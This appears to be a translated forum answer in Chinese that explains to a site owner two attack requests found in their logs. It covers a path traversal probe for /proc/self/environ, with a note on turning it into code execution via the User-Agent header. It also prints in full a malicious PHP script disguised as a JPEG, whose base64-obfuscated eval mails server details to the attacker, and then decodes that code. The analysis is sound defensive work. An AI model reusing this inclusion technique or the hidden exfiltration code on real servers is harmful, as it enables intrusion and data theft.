初学者安全问题

Question 1

简短回答：

有人正在攻击你。

长答案：

有人使用带有 LWP 模块的 Perl 脚本来充当 Web 浏览器，并向您的服务器请求奇怪的 URL，使其执行危险操作。这可能是自动攻击，也可能是有人手动执行的。

第二项是试图让您的服务器在网站中包含 ../../../../../../../../../../../../../../../proc/self/environ，这意味着多次转到父目录（因此可能以根目录结束）并显示 /proc/self/environ，在 Linux 中显示您的进程的环境变量，这可以为攻击者提供一些有用的信息。更新：它不仅可以获取信息，还可以探测本地文件包含漏洞，您可以通过将 PHP 代码放入 User-Agent HTTP Header 中，然后在页面中包含 /proc/self/environ 来运行任意代码。（感谢 aaz 指出这一点。）

第一条记录更有趣，因为它显然试图让你的服务器下载攻击者的代码并让你的服务器运行它。这是我下载后得到的结果http://teen-37.net/myid.jpg- 它不是 JPEG 图像，而是 PHP 脚本：

<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "B"."a"."M"."b"."Y"."<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJiWGxwWkhOallXNUFaMjFoYVd3dVkyOXQiKTsKKCRzYWZlX21vZGUpPygkc2FmZW1vZGU9Ik9OIik6KCRzYWZlbW9kZT0iT0ZGIik7CiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IAokbmFtZSA9IHBocF91bmFtZSgpOwokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7CiRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOwokc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgLWE6ICRuYW1lXG5JUDogJGlwXG5Ib3N0OiAkaG9zdFxuJHB3ZHNcbiI7CiRmcm9tID0iRnJvbTogTU9ERV89Ii4kc2FmZW1vZGUuIjx0b29sQCIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7"));
die("<center> ByroeNet </center>");
?>

最后一部分 - eval(base64_decode("...")); - 显然试图隐藏它在做什么，但你可以对其进行解码，你会得到这样的结果：

$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t");
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; 
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST']; 
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);

现在，当您解码“bXlpZHNjYW5AZ21haWwuY29t”时，您将获得电子邮件地址。

我们现在知道有人试图让您的服务器做什么——发送包含有关您的服务器的一些信息的电子邮件。

现在，您已经知道了攻击服务器的 IP，该服务器可能知道也可能不知道自己正在发起攻击 - 77.68.38.175 似乎是 server77-68-38-175.live-servers.net - 以及攻击者的电子邮件，该电子邮件必须不时用于收集数据，同时还包含托管恶意代码的域。

在 whois 数据库中搜索 teen-37.net（托管恶意代码）、77.68.38.175 IP 地址（攻击您的服务器）和 123.30.181.39 IP 地址（teen-37.net 的 IP），以获取负责举报滥用行为的人员的联系信息。

另外，通过谷歌搜索 teen-37.net 和恶意脚本的一些随机部分可能会给你带来更多有趣的信息。

现在，从 404 响应代码我们可以假设这两次特定的攻击没有起作用，但你不能确定，因为理论上当攻击者控制你的服务器时，他可以在完成他想做的事情后用 404 响应自己。

祝你好运。

Answer

简短回答：